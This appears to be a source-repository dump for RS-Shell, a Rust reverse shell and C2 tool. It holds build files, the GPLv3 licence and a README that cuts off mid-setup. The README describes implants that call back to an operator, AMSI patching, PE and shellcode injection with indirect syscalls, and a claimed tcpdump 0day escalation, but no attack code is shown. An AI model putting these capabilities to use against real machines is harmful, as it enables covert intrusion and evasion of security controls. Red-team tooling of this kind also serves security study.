[
  {
    "path": ".gitignore",
    "content": "# Generated by Cargo\n# will have compiled files and executables\n/target/\n\n# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries\n# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html\nCargo.lock\n\n# These are backup files generated by rustfmt\n**/*.rs.bk\n\noutput_*/\n\n# shellcode\n*.raw\n*.bin\n\n# TLS certificates\ncertificat.pfx\ncert.pem\nkey.pem\n\n# Test files\nnext_task.txt\noutput.txt\nos.txt"
  },
  {
    "path": ".gitmodules",
    "content": ""
  },
  {
    "path": ".vscode/settings.json",
    "content": "{\n    \"rust-analyzer.linkedProjects\": [\n        \".\\\\Cargo.toml\",\n        \".\\\\Cargo.toml\",\n        \".\\\\Cargo.toml\"\n    ]\n}"
  },
  {
    "path": "Cargo.toml",
    "content": "[package]\nname = \"rs-shell\"\nversion = \"0.2.5\"\nedition = \"2024\"\n\n# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html\n\n[dependencies]\nnative-tls = \"0.2.14\"\nsignal-hook = \"0.3.18\"\nregex = \"1.12.2\"\nopen = \"5.3.3\"\nsimple_logger = \"5.1.0\"\nlog = \"0.4.28\"\nctrlc = \"3.5.1\"\nclap = { version = \"4.5.53\", features = [\"derive\"] }\nntapi = \"0.4.1\"\nwinapi = \"0.3.9\"\ntime = \"0.3.44\"\ntokio = \"1.50.0\"\nactix-web = { version = \"4.12.0\", features = [\"rustls-0_22\"] }\nrustls = \"0.22.4\" # Do not upgrade for the moment, building errors with cmake starting at 0.23.0\nrustls-pemfile = \"2.2.0\"\nactix-files = \"0.6.8\"\nactix-multipart = \"0.7.2\"\n\nreqwest = { version = \"0.12.24\", features = [\"blocking\", \"rustls-tls\", \"multipart\"] }\n\n[dependencies.windows-sys]\nversion = \"0.61.2\"\nfeatures = [\n    \"Win32_System_Memory\",\n    \"Win32_Foundation\",\n    \"Win32_Security\",\n    \"Win32_System_Threading\",\n    \"Win32_System_Diagnostics_Debug\",\n    \"Win32_System_Diagnostics_ToolHelp\",\n    \"Win32_System_LibraryLoader\",\n    \"Win32_System_Kernel\",\n    \"Wdk_System_Threading\",\n    \"Win32_Networking_WinInet\",\n    \"Win32_Networking_WinHttp\"\n]\n\n[target.'cfg(target_os = \"windows\")'.dependencies]\nsyscalls = { git = \"https://github.com/BlWasp/syscalls-rs.git\", branch = \"main\",  features = [\"_INDIRECT_\"] }"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "README.md",
    "content": "<h1 align=\"center\">\n<br>\n<img src=img/logo_craiyon.png height=\"400\" border=\"2px solid #555\">\n<br>\n<strong>RS-Shell</strong>\n</h1>\n\n*\"The worst Rust programmer you have ever seen\"* - my mom\n\n*\"But at least it works\"* - still my mom, but not about me\n\n## Description\n\nRS-Shell is reverse shell solution developped in Rust with client, implant and server embedded in the same binary. This project has been mainly started to learn Rust with a tool that could help me in my work, and the code quality could be greatly improved. This project is like my Rust sandbox where I can test new things.\n\nRS-Shell implements two modes: **TLS over TCP** and **HTTPS**.\n\n* TLS over TCP mode is a standard reverse shell where the implant executed on the target machine will connect back to the TLS listener, running on the operator's machine\n* HTTPS mode works more like a C2 infratructure, with an HTTPS server, an implant, and a client:\n    * The HTTPS server is executed on a server accessible by both the implant and the client. It is based on the [Actix](https://actix.rs/) web framework with [Rustls](https://docs.rs/rustls/latest/rustls/)\n    * The implant is executed on the target machine and will request the server for \"new tasks\" every 2 seconds (by default, can be changed in the code for the moment)\n    * The client is executed on the operator's machine. It will also connect to the server via HTTPS, and will permit to send the commands to the implant\n\nWindows HTTPS implant is partially proxy aware thanks to the [Windows's WinINet library](https://learn.microsoft.com/fr-fr/windows/win32/wininet/about-wininet). This means that it is able to identify proxy configuration in the registry and automatically authenticate against it if necessary (if the proxy is not configured via the registry or a WPAD file, this will probably fail, and you will have to indicate the proxy URL and the credentials manually in the implant code).\n\nClient, implant and server are all cross-platform and work on Windows and Linux systems.\n\nFor Windows implants, additonal features have been integrated for offensive purpose, and they will be improved in futur commits.\n\nFor this purpose, I have chosen to mainly use the official [windows_sys](https://docs.rs/windows-sys/latest/windows_sys/) crate to interact with the Win32API and the [ntapi](https://docs.rs/ntapi/latest/ntapi/) crate for the NTAPI.\n\nThe project is thought in module. This means that you can easily add or remove features to and from it, and you can also easily take parts from it to put them in your own project.\n\n## Features\n\nFor the moment, the following features are present:\n\n* Semi-interactive reverse shell via TLS over TCP\n* Semi-interactive reverse shell via HTTPS with a *C2 like infrastructure*, and a proxy aware Windows implant\n* File upload and download\n* Start a PowerShell interactive session with the ability to patch the AMSI in memory with or without indirect syscalls (**only in TCP mode**)\n* Loading features :\n  * Load and execute a PE in the implant memory, **with or without indirect syscalls**\n  * Load and execute a PE in a remote process memory, **with or without indirect syscalls**\n  * Load and execute a shellcode in a remote process memory, **with or without indirect syscalls**\n* Autopwn the client machine and elevate the privileges to SYSTEM or root by exploiting a 0day in `tcpdump`\n\nTo perform the indirect syscalls, I use the incredible [rust-mordor-rs](https://github.com/gmh5225/rust-mordor-rs) project initiate by [memN0ps](https://twitter.com/memN0ps). However, I use the version from my repository, which just patches little errors I have found regarding libraries versions and crate imports.\n\n## How to\n\n### Setup\n\nBy default, only the `error`, `warn` and `info` logs are displayed. If you also need the `debug` ones (can be usefull for the loading features), you can change this in `main.rs` by modifying `::log::set_max_level(LevelFilter::Info);` to `::log::set_max_level(LevelFilter::Debug);`.\n\n#### TCP setup\n\nI have set a `dummy` domain for hostname validation in the `connect()` function for both clients in TCP mode. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations.\n\nA new self-signed PKCS12 TLS certificate can be obtained like this:\n\n```bash\nopenssl req -newkey rsa:2048 -nodes -keyout private.key -x509 -days 365 -out certificate.cer\nopenssl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.cer\n```\n\n#### HTTPS setup\n\nSimilarly to TCP, I have set up all the flags in the 